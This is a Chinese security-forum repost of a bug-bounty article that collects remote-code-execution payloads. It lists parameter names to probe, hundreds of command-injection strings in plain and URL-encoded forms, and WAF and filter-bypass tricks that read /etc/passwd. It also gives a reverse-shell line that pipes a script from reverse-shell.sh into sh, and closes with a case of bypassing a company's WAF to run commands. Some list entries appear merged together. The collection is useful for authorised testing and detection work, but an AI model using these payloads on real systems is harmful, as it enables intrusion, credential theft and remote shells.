设为首页收藏本站
开启辅助访问 切换到窄版

安全矩阵

 找回密码
 立即注册
搜索
安全矩阵»安全矩阵 › 安全矩阵实验室 › 技术转载 › 干货 | 漏洞挖掘中RCE漏洞常用的Payload总结 ...
返回列表 发新帖
查看: 1502|回复: 0

干货 | 漏洞挖掘中RCE漏洞常用的Payload总结

[复制链接]
PEnticE

65

主题

65

帖子

241

积分

中级会员

Rank: 3Rank: 3

积分
241
发表于 2022-7-20 20:43:08 | 显示全部楼层 |阅读模式
本帖最后由 PEnticE 于 2022-7-20 20:53 编辑

干货 | 漏洞挖掘中RCE漏洞常用的Payload总结 (qq.com)​
关于远程代码执行的常用Payload（Unix 和 Windows）

大家好，我是 Ansar Uddin，我是来自孟加拉国的网络安全研究员。

这是我的第二篇 Bug 赏金文章。

今天的话题都是关于 Rce 的利用。

​

RCE：远程代码执行 (RCE) 使攻击者能够通过注入攻击执行恶意代码。代码注入攻击不同于命令注入攻击。攻击者的能力取决于服务器端解释器的限制。在某些情况下，攻击者可能能够从代码注入升级为命令注入。远程代码评估可能导致易受攻击的 Web 应用程序和 Web 服务器的全面妥协. 需要注意的是，几乎每种编程语言都有代码评估功能。

如何寻找 RCE：

Top 46 RCE 参数 :


  1. exec={payload}
  2. command={payload}
  3. execute{payload}
  4. ping={payload}
  5. include={payload}
  6. exclude={payload}
  7. jump={payload}
  8. code={payload}
  9. reg={payload}
  10. do={payload}
  11. func={payload}
  12. arg={payload}
  13. option={payload}
  14. load={payload}
  15. process={payload}
  16. step={payload}
  17. read={payload}
  18. function={payload}
  19. req={payload}
  20. feature={payload}
  21. exe={payload}
  22. module={payload}
  23. payload={payload}
  24. run={payload}
  25. print={payload}
  26. email={payload}
  27. id={payload}
  28. username={payload}
  29. user={payload}
  30. to={payload}
  31. from={payload}
  32. search={payload}
  33. query={payload}
  34. q={payload}
  35. s={payload}
  36. shopId={payload}
  37. blogId={payload}
  38. phone={payload}
  39. mode={payload}
  40. next={payload}
  41. firstname={payload}
  42. lastname={payload}
  43. locale={payload}
  44. cmd={payload}
  45. sys={payload}
  46. system={payload}
复制代码

​Linux RCE
Payload list:
  1. id
  2. ,id
  3. ;id
  4. ;id;
  5. 'id'
  6. "id"
  7. ''id
  8. ''id''
  9. ''id''&
  10. *id
  11. *id*
  12. **id**
  13. (id)
  14. `id`
  15. `id`&
  16. `id` &
  17. ;id|
  18. ;|id|
  19. |id
  20. |id|
  21. ||id
  22. ||id|
  23. ||id;
  24. |id;
  25. &id
  26. &id&
  27. &&id
  28. &&id&&
  29. ^id
  30. <id
  31. \id
  32. );id
  33. <id;
  34. );id;
  35. );id|
  36. )|id
  37. )|id;
  38. \id;
  39. \id|
  40. \id\
  41. (id
  42. )id
  43. /id
  44. -id
  45. :id
  46. .id
  47. " id
  48. ' id
  49. | id
  50. & id
  51. , id
  52. ; id
  53. & id &
  54. && id
  55. || id
  56. ' `id`
  57. " `id`
  58. , `id`
  59. | `id`
  60. & `id`
  61. ; `id`
  62. ' `id` #
  63. " `id` #
  64. , `id` #
  65. | `id` #
  66. ; `id` #
  67. ;id/n
  68. <id\n
  69. \nid
  70. \nid\n
  71. a;id
  72. a);id
  73. a;id;
  74. a);id|
复制代码
转义所有危险字符时的RCE:

  2. %7Cid
  3. %7cid;pwd;uname -a
  4. %26 id %26
  5. %0aid%0a
  6. %0a uname -a %0a
  7. %27%0Awhoami%0A%27
  8. %22%0Awhoami%0A%22
  9. %5C%0Awhoami
  10. %27%27%0Awhoami%0A%27%27
  11. %2A%0Awhoami%0A
  12. %2A%0Awhoami%0A%2A
  13. %28%0Awhoami%0A%29
  14. %60%0Aid%0A%60
  15. %3B%0Awhoami%0A%3B
  16. %2C%0Awhoami%0A%2C
  17. %7C%0Awhoami
  18. %7C%0Awhoami%0A%7C
  19. %0a whoami %0a
  20. %0Acat%20/etc/passwd
  21. %7C%7Cid%0A
  22. %2C%20id
  23. %5Eid
  24. %3Cid
  25. %5Cid
  26. %27%27id
  27. %27%27id%27%27
  28. %27%27id%27%27%26
  29. %2Aid
  30. %2Aid%2A
  31. %2A%2Aid%2A%2A
  32. %28id%29
  33. %60id%60%26
  34. %60id%60%20%26
  35. %29%3Bid
  36. %3Cid%3B
  37. %29%3Bid%3B
  38. %29%3Bid%7C
  39. %29%7Cid
  40. %29%7Cid%3B
  41. %5Cid%3B
  42. %5Cid%7C
  43. %5Cid%5C
  44. %22%20id
  45. %27%20id
  46. %7C%20id
  47. %26%20id
  48. %3B%20id
  49. <id%0D
  50. <id%0A
  51. %0Did
  52. %0Did%0D
  53. %0Aid
  54. %0Aid%0A
  55. %2Cid
  56. %3Bid
  57. %3Bid%3B
  58. %28id
  59. %29id%20
  60. %2Fid%20
  61. %3Aid
  62. %26%26%20id
  63. %7C%7C%20id
  64. %27id%27
  65. %22id%22
  66. %60id%60
  67. %3Bid%7C
  68. %3B%7Cid%7C
  69. %7Cid%7C
  70. %7C%7Cid
  71. %7C%7Cid%7C
  72. %7C%7Cid%3B
  73. %7Cid%3B
  74. %26id
  75. %26id%26
  76. %26%26id
  77. %26%26id%26%26
  78. %3Bid%2Fn
  79. %3Cid%5Cn
  80. %5Cnid
  81. %5Cnid%5Cn
  82. a%3Bid
  83. a%29%3Bid
  84. a%3Bid%3B
  85. a%29%3Bid%7C
  86. %22%2C%0Asystem%28%27ls%27%29%0A%3B%22
  87. %27%0Aid%0A%27
  88. %5C%0Awhoami%0A%5C
  89. %26%0Awhoami%0A%26
  90. %26%20id%20%26
  91. %27%20%60id%60
  92. %22%20%60id%60
  93. %2C%20%60id%60
  94. %7C%20%60id%60
  95. %26%20%60id%60
  96. %3B%20%60id%60
  97. %27%20%60id%60%20%23
  98. %22%20%60id%60%20%23
  99. %2C%20%60id%60%20%23
  100. %7C%20%60id%60%20%23
  101. %3B%20%60id%60%20%23
  102. %3Buname%20-a%3B
  103. %26%26dir
  104. %26%20uname%20-a%20%26id%7C%7Cwhoami%3B
  105. id%7Cwhoami%3B
  106. id%26%26whoami%3B
  107. id%26whoami%3B
  108. 127.0.0.1%3Bls
  109. 127.0.0.1%3Bi%22d
  110. %3Bunam%22e%24%7BIFS%7D-a
  111. %3Bl%22s%24%7BIFS%7D-la
  112. %27i%27d
  113. %22i%22d
  114. %5Cu%5Cn%5Ca%5Cm%5Ce%20%5C-%5Ca
  115. cat%24u%20%2Fetc%24u%2Fpasswd%24u
  116. w%24%7Bu%7Dh%24%7Bu%7Do%24%7Bu%7Da%24%7Bu%7Dm%24%7Bu%7Di
  117. i%24%28u%29d
  118. i%60u%60d
  119. %7Buname%2C-a%7D
  120. cat%24%7BIFS%7D%2Fetc%2Fpasswd
  121. cat%24IFS%2Fetc%2Fpasswd
  122. %0aid%0a
  123. %0Aid
  124. %0Aid%0A
  125. %0a whoami %0a
  126. cat%24u%2B%2Fetc%24u%2Fpasswd%24u
  127. %22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
  128. %3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
  129. %3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
  130. %2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
  131. %2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
  132. %3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
  133. c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
  134. cat%20%2Fetc%24u%2Fpasswd
  135. %28sy.%28st%29.em%29%28whoami%29%3B
  136. %3Bcat%2B%2Fetc%2Fpasswd
  137. %3Bcat%2B%2Fetc%2Fpasswd%2B%23
  138. %3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
  139. %3Bcat%2520%2Fetc%2Fpasswd
  140. %3Bcat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
  141. %3Bcat%24u%20%2Fetc%24u%2Fpasswd%24u
  142. %3B%7Bcat%2C%2Fetc%2Fpasswd%7D
  143. %3Bcat%3C%2Fetc%2Fpasswd
  144. %3Bcat%24IFS%2Fetc%2Fpasswd
  145. %3Becho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
  146. %3B%2Fusr%2Fbin%2Fid%3B
  147. %7Ccat%2520%2Fetc%2Fpasswd
  148. %7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
  149. %7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
  150. %7C%7Bcat%2C%2Fetc%2Fpasswd%7D
  151. %7Ccat%3C%2Fetc%2Fpasswd
  152. %7Ccat%24IFS%2Fetc%2Fpasswd
  153. %7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
  154. %7C%2Fusr%2Fbin%2Fid%7C
  155. %7C%7Ccat%2520%2Fetc%2Fpasswd
  156. %7C%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
  157. %7C%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
  158. %7C%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
  159. %7C%7Ccat%3C%2Fetc%2Fpasswd
  160. %7C%7Ccat%24IFS%2Fetc%2Fpasswd
  161. %7C%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
  162. %7C%7C%2Fusr%2Fbin%2Fid%7C%7C
  163. %26%26cat%2520%2Fetc%2Fpasswd
  164. %26%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
  165. %26%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
  166. %26%26%7Bcat%2C%2Fetc%2Fpasswd%7D
  167. %26%26cat%3C%2Fetc%2Fpasswd
  168. %26%26cat%24IFS%2Fetc%2Fpasswd
  169. %26%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
  170. %26%26%2Fusr%2Fbin%2Fid%26%26
  171. %26cat%2520%2Fetc%2Fpasswd
  172. %26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
  173. %26cat%24u%20%2Fetc%24u%2Fpasswd%24u
  174. %26%7Bcat%2C%2Fetc%2Fpasswd%7D
  175. %26cat%3C%2Fetc%2Fpasswd
  176. %26cat%24IFS%2Fetc%2Fpasswd
  177. %26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
  178. %26%2Fusr%2Fbin%2Fid%26
  179. %60cat%2520%2Fetc%2Fpasswd%60
  180. %60cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%60
  181. %60cat%24u%20%2Fetc%24u%2Fpasswd%24u%60
  182. %60%7Bcat%2C%2Fetc%2Fpasswd%7D%60
  183. %60cat%3C%2Fetc%2Fpasswd%60
  184. %60cat%24IFS%2Fetc%2Fpasswd%60
  185. %60echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%60
  186. %60%2Fusr%2Fbin%2Fid%60
  187. %24%28cat%2520%2Fetc%2Fpasswd%29
  188. %24%28cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%29
  189. %24%28cat%24u%20%2Fetc%24u%2Fpasswd%24u%29
  190. %24%28%7Bcat%2C%2Fetc%2Fpasswd%7D%29
  191. %24%28cat%3C%2Fetc%2Fpasswd%29
  192. %24%28cat%24IFS%2Fetc%2Fpasswd%29
  193. %24%28echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%29
  194. %24%28%2Fusr%2Fbin%2Fid%29
  195. cat%20%2Fetc%24u%2Fpasswd
  196. %28sy.%28st%29.em%29%28whoami%29%3B
  197. %3Bcat%2B%2Fetc%2Fpasswd
  198. %3Bcat%2B%2Fetc%2Fpasswd%2B%23
  199. %3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
  200. %253B%2524%257B%2540print%2528md5%2528%2522whoami0%2522%2529%2529%257D%253B
  201. %24%7B%40system%28%22id%22%29%7D
  202. %7Cuname%20-a%2B%7C%7Ca%2B%23%27%2B%7Cls%2B-la%7Ca%2B%23%7C%22%2B%7Cls%2B-la%7C%7Ca%2B%23
  203. %22%2Csystem%28%27ls%27%29%3B%22
  204. %24%7B%40phpinfo%28%29%7D
  205. %3Bphpinfo%28%29%3B
  206. %3Bphpinfo
  207. %3Bsystem%28%27cat%2520%2Fetc%2Fpasswd%27%29
  208. %3Bsystem%28%27id%27%29
  209. %24%28id%29
  210. %3B%24%7B%40print%28md5%28whoami%29%29%7D
  211. %3B%24%7B%40print%28md5%28%22whoami%22%29%29%7D
  212. %24%3Bid
  213. %24%28%60cat%20%2Fetc%2Fpasswd%60%29
  214. %7B%7B%20get_user_file%28%22%2Fetc%2Fpasswd%22%29%20%7D%7D
  215. %3C%21--%23exec%20cmd%3D%22id%3B--%3E
  216. system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B
  217. %3C%3Fphp%20system%28%22cat%20%2Fetc%2Fpasswd%22%29%3B%3F%3E
  218. php%20-r%20%27var_dump%28exec%28%22id%22%29%29%3B%27
  219. %26lt%3B%21--%23exec%2520cmd%3D%26quot%3Bid%3B--%26gt%3B
  220. cat%24u%2B%2Fetc%24u%2Fpasswd%24u
  221. %2Fbin%24u%2Fbash%24u%20%3Cip%3E%20%3Cport%3E
  222. %22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
  223. %3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
  224. %3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
  225. %2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
  226. %2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
  227. %3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
  228. c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
复制代码
RCE 过滤 and WAF Bypass:

  1. '
  2. whoami
  3. '"
  4. whoami
  5. "`
  6. whoami
  7. `;
  8. whoami
  9. ;,
  10. whoami
  11. ,|
  12. whoami|
  13. whoami
  14. |\
  15. whoami''
  16. whoami
  17. ''*
  18. whoami*
  19. whoami
  20. *(
  21. whoami
  22. )\
  23. whoami
  24. \&
  25. whoami
  26. &",
  27. system('ls')
  28. ;"|uname -a+||a+#'+|ls+-la|a+#|"+|ls+-la||a+#  Rce waf bypass
  29. ",system('ls');" double quote Rce filter bypass
  30. ${@system("id")} eval code bypass
  31. ${@phpinfo()}
  32. ;phpinfo();
  33. ;phpinfo
  34. ;system('cat%20/etc/passwd')
  35. ;system('id')
  36. $(id)
  37. ;${@print(md5(whoami))}
  38. ;${@print(md5("whoami"))}
  39. $;id
  40. $(`cat /etc/passwd`)
  41. {{ get_user_file("/etc/passwd") }}
  42. <!--#exec cmd="id;-->
  43. system('cat /etc/passwd');
  44. <?php system("cat /etc/passwd");?>
  45. php -r 'var_dump(exec("id"));'
  46. &lt;!--#exec%20cmd=&quot;id;--&gt;/bin$u/bash$u <ip> <port>
  47. cat$u+/etc$u/passwd$u
  48. ";cat+/etc/passwd+#
  49. ;+$u+cat+/etc$u/passwd$u
  50. ;+$u+cat+/etc$u/passwd+\#
  51. /???/??t+/???/??ss??
  52. /?in/cat+/et?/passw?
  53. ;+cat+/e'tc/pass'wd
  54. c\\a\\t+/et\\c/pas\\swd
  55. cat /etc$u/passwd
  56. (sy.(st).em)(whoami);
  57. ;cat+/etc/passwd
  58. ;cat+/etc/passwd+#
  59. ;cat$u+/etc$u/passwd$u
  60. ;cat%20/etc/passwd
  61. ;cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
  62. ;cat$u /etc$u/passwd$u
  63. ;{cat,/etc/passwd}
  64. ;cat</etc/passwd
  65. ;cat$IFS/etc/passwd
  66. ;echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
  67. ;/usr/bin/id;
  68. |cat%20/etc/passwd
  69. |cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
  70. |cat$u /etc$u/passwd$u
  71. |{cat,/etc/passwd}
  72. |cat</etc/passwd
  73. |cat$IFS/etc/passwd
  74. |echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
  75. |/usr/bin/id|
  76. ||cat%20/etc/passwd
  77. ||cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
  78. ||cat$u /etc$u/passwd$u
  79. ||{cat,/etc/passwd}
  80. ||cat</etc/passwd
  81. ||cat$IFS/etc/passwd
  82. ||echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
  83. ||/usr/bin/id||
  84. &&cat%20/etc/passwd
  85. &&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
  86. &&cat$u /etc$u/passwd$u
  87. &&{cat,/etc/passwd}
  88. &&cat</etc/passwd
  89. &&cat$IFS/etc/passwd
  90. &&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
  91. &&/usr/bin/id&&
  92. &cat%20/etc/passwd
  93. &cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
  94. &cat$u /etc$u/passwd$u
  95. &{cat,/etc/passwd}
  96. &cat</etc/passwd
  97. &cat$IFS/etc/passwd
  98. &echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
  99. &/usr/bin/id&
  100. `cat%20/etc/passwd`
  101. `cat /e${hahaha}tc/${heywaf}pas${catchthis}swd`
  102. `cat$u /etc$u/passwd$u`
  103. `{cat,/etc/passwd}`
  104. `cat</etc/passwd`
  105. `cat$IFS/etc/passwd`
  106. `echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd`
  107. `/usr/bin/id`
  108. $(cat%20/etc/passwd)
  109. $(cat /e${hahaha}tc/${heywaf}pas${catchthis}swd)
  110. $(cat$u /etc$u/passwd$u)
  111. $({cat,/etc/passwd})
  112. $(cat</etc/passwd)
  113. $(cat$IFS/etc/passwd)
  114. $(echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd)
  115. $(/usr/bin/id)id||whoami;
  116. id|whoami;
  117. id&&whoami;
  118. id&whoami;127.0.0.1;ls
  119. 127.0.0.1;i"d
  120. ;unam"e${IFS}-a
  121. ;l"s${IFS}-la'i'd
  122. "i"d
  123. \u\n\a\m\e \-\a
  124. cat$u /etc$u/passwd$u
  125. w${u}h${u}o${u}a${u}m${u}i
  126. i$(u)d
  127. i`u`d{uname,-a}
  128. cat${IFS}/etc/passwd
  129. cat$IFS/etc/passwd
复制代码
​例子：
​

'i'd
​

"i"d
​

\u\n\a\m\e \-\a
​

w${u}h${u}o${u}a${u}m${u}i
​
  1. IFS=];b=cat]/etc/passwd;$b
  2. IFS=,;`cat<<<cat,/etc/passwd`
  3. uname${IFS}-a
  4. cat ${HOME:0:1}etc${HOME:0:1}passwd
  5. cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
  6. cat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss??cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswdtail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wdc${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swdca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swdc${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswdcat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
  7. cat `xxd -r -p <<< 2f6574632f706173737764`
  8. cat `xxd -r -ps <(echo 2f6574632f706173737764)`1;uname${IFS}-a
  9. 1;uname${IFS}-a;#
  10. 1;uname${IFS}-a;#${IFS}'
  11. 1;uname${IFS}-a;#${IFS}';/*$(id)`id`
  12. /*$(id)`id``*/-id-'/*$(id)`id` #*/-id||'"||id||"/*`*/
  13. /*$(id)`id``*/id'/*$(id)`id` #*/id||'"||id||"/*`*/
复制代码
​
​

IFS=,;`cat<<<cat,/etc/passwd`
​

/*$(id)`id`
​

/*$(id)`id``*/id’/*$(id)`id` #*/id||’”||id||”/*`*/

反弹shell :
  1. <div><span data-cke-copybin-end="1">​</span>nc -l 1337</div>curl https://reverse-shell.sh/yourip:1337 | shReverse Shell Generator:
  2. https://www.revshells.com
复制代码
​

​
实战案例我在一家Top级的公司找到了一个案例:
​

​

我检查了include=参数. 它容易受到 rce 的影响
​

​


'whoami && id && uname -a && cat /etc/passwd'
​

但是有一个 waf 阻止了我的请求
我用了下面这个payload进行绕过：
'whoami && id && uname -a && cat /etc/passwd'我将payload转换为 url 编码再进行发包：
​

最终使用的绕过waf的payload如下:
%27%0a%77%68%6f%61%6d%69%20%26%26%20%69%64%20%26%26%20%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%0a%27
​

成功Rce!
​

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 14:46 , Processed in 0.016705 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表